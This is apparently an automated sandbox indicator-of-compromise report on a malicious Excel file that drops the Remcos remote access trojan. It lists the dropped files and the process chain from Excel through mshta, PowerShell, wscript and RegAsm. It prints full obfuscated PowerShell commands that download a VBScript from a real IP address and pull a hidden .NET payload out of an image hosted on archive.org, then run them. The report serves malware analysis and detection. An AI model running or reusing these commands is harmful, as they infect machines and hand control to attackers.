IOC Report
QPS-36477.xls

QPS-36477.xls

Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 8 08:27:12 2024, Security: 1

initial sample

C:\ProgramData\remcos\logs.dat

data

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newthingtobeonlinefor[1].hta

HTML document, ASCII text, with very long lines (65520), with CRLF line terminators

modified

C:\Users\user\AppData\Local\Temp\uvrrkyhh\uvrrkyhh.cmdline

Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators

dropped

C:\Users\user\AppData\Roaming\verybestthingswesharedfornew.vbS

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\Desktop\QPS-36477.xls (copy)

Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 8 14:23:56 2024, Security: 1

dropped

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" "/C PoweRshElL -eX bypaSS -NOp -W 1 -c devicEcREdEnTiaLDePloyment ; ieX($(IeX('[SYSTem.tEXt.EnCOdiNG]'+[CHar]0X3A+[cHaR]0x3a+'Utf8.GEtSTRINg([SYSTem.coNVeRT]'+[cHaR]58+[CHaR]58+'FroMbaSE64StriNg('+[CHar]0X22+'JFVEcFcyQ0dRM0RLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC1UeVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJFckRlRklOSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdE1ZbUpnaixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRnlWTWhXLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV6WEVQaix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmVpeGRab1ZELEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG11bGNlZkJaKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiRCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZXNQYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGhTY0hVSUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFVEcFcyQ0dRM0RLOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjIwLjQwLzMzMC92ZXJ5YmVzdHRoaW5nc3dlc2hhcmVkZm9ybmV3LnRJRiIsIiRlTlY6QVBQREFUQVx2ZXJ5YmVzdHRoaW5nc3dlc2hhcmVkZm9ybmV3LnZiUyIsMCwwKTtTVGFyVC1TbEVFUCgzKTtTdGFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcdmVyeWJlc3R0aGluZ3N3ZXNoYXJlZGZvcm5ldy52YlMi'+[ChaR]34+'))')))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PoweRshElL -eX bypaSS -NOp -W 1 -c devicEcREdEnTiaLDePloyment ; ieX($(IeX('[SYSTem.tEXt.EnCOdiNG]'+[CHar]0X3A+[cHaR]0x3a+'Utf8.GEtSTRINg([SYSTem.coNVeRT]'+[cHaR]58+[CHaR]58+'FroMbaSE64StriNg('+[CHar]0X22+'JFVEcFcyQ0dRM0RLICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC1UeVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJFckRlRklOSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdE1ZbUpnaixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRnlWTWhXLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV6WEVQaix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmVpeGRab1ZELEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG11bGNlZkJaKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiRCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZXNQYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGhTY0hVSUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFVEcFcyQ0dRM0RLOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjIwLjQwLzMzMC92ZXJ5YmVzdHRoaW5nc3dlc2hhcmVkZm9ybmV3LnRJRiIsIiRlTlY6QVBQREFUQVx2ZXJ5YmVzdHRoaW5nc3dlc2hhcmVkZm9ybmV3LnZiUyIsMCwwKTtTVGFyVC1TbEVFUCgzKTtTdGFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcdmVyeWJlc3R0aGluZ3N3ZXNoYXJlZGZvcm5ldy52YlMi'+[ChaR]34+'))')))"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\uvrrkyhh\uvrrkyhh.cmdline"

C:\Windows\System32\wscript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verybestthingswesharedfornew.vbS"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezF9aW1hZ2VVcmwnKycgPSAnKyd7MH1odHRwczovL2lhNjAwMTAyLnVzLmFyY2hpdmUub3JnLzMyL2l0ZW1zL2RldGFoLW5vdGUtdl8yMDI0MTAvRGV0YWhOb3QnKydlX1YuanBnIHswfTt7MX13ZWJDJysnbGllbnQgPSBOJysnZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O3sxfWltJysnYWdlQnl0ZXMgPSB7MX13ZWJDbGllbnQnKycuRG93bmxvYWREYXRhKHsxfWltYWdlVScrJ3JsKTt7MX1pbWFnZVRleHQgPSBbU3lzdGVtLlQnKydleHQuJysnRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyh7MX1pbWFnZUJ5dGVzKTt7JysnMX1zdGFydEZsYWcgPSB7MH08JysnPEJBU0U2NF9TVEFSVD4+ezB9JysnO3sxfWVuZEZsYWcgPSB7MH08PEJBU0U2NF9FTkQ+PnswfTt7MX1zdGFydEluZGV4ID0gezF9aW1hZ2VUZXh0LkluZGV4T2YoezF9c3RhcnRGbGFnKTt7MX1lbmRJbmRleCA9IHsxfWltYWdlVGV4dC4nKydJbmRleE9mKHsxfWVuZEZsYWcpO3sxfXN0YXJ0SW5kZXggJysnLWdlIDAgLWFuZCB7MX0nKydlbmRJbmRleCAtZ3QgezF9c3RhcnRJbmRleDt7MX1zdGFydEluZGV4ICs9IHsxfXN0YXJ0RmxhZy5MZW5ndGg7eycrJzF9YmEnKydzZTY0TGVuZ3RoID0gezEnKyd9ZW5kSW5kZXggLSB7MX1zdGFydEluZGV4O3sxfWJhc2U2NENvbW1hbmQgPSB7MX1pbWFnZVRleHQuU3Vic3RyaW5nKHsxfXN0YXJ0SW5kZXgsIHsxfWJhc2U2NExlbmd0aCk7ezF9Y29tbWFuZEJ5dGVzICcrJz0gW1N5cycrJ3RlbS5Db252ZXJ0XTo6RnJvJysnbUJhc2U2NFMnKyd0cmluZyh7MX1iYXNlNjRDb21tYW5kKTt7MX1sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0nKycuUmVmbGVjdGlvbi5Bc3NlbWJsJysneV06OkxvYWQoezF9Y29tbWFuZEJ5dGVzKTt7MX12YWlNZXRob2QgPSBbZG5sJysnaWIuSU8uSG9tZV0uR2V0TWV0aG9kKHswfVZBSXswfSk7ezF9dmFpTWV0aG9kLkknKydudm9rZSh7MX1udWxsLCBAKHswfXR4dC5IR0dDUlIvMDMzLzA0LjAyMi4zLjI5MS8vJysnOnB0dGh7MH0sIHswfWRlc2F0aXZhZG97MH0sIHswfWRlc2F0aXZhZG97MH0sICcrJ3swfWRlcycrJ2F0aXZhZG97MH0sIHswfVJlZ0FzbXswfSwgezB9ZGVzYXRpdmFkb3snKycwfSwgezB9ZGVzYXRpdmFkb3swfSkpOycpICAtRiBbQ2hhcl0zOSxbQ2hhcl0zNil8IGludm9rZS1leHByZXNTSW9u';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{1}imageUrl'+' = '+'{0}https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNot'+'e_V.jpg {0};{1}webC'+'lient = N'+'ew-Object System.Net.WebClient;{1}im'+'ageBytes = {1}webClient'+'.DownloadData({1}imageU'+'rl);{1}imageText = [System.T'+'ext.'+'Encoding]::UTF8.GetString({1}imageBytes);{'+'1}startFlag = {0}<'+'<BASE64_START>>{0}'+';{1}endFlag = {0}<<BASE64_END>>{0};{1}startIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = {1}imageText.'+'IndexOf({1}endFlag);{1}startIndex '+'-ge 0 -and {1}'+'endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{'+'1}ba'+'se64Length = {1'+'}endIndex - {1}startIndex;{1}base64Command = {1}imageText.Substring({1}startIndex, {1}base64Length);{1}commandBytes '+'= [Sys'+'tem.Convert]::Fro'+'mBase64S'+'tring({1}base64Command);{1}loadedAssembly = [System'+'.Reflection.Assembl'+'y]::Load({1}commandBytes);{1}vaiMethod = [dnl'+'ib.IO.Home].GetMethod({0}VAI{0});{1}vaiMethod.I'+'nvoke({1}null, @({0}txt.HGGCRR/033/04.022.3.291//'+':ptth{0}, {0}desativado{0}, {0}desativado{0}, '+'{0}des'+'ativado{0}, {0}RegAsm{0}, {0}desativado{'+'0}, {0}desativado{0}));') -F [Char]39,[Char]36)| invoke-expresSIon"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"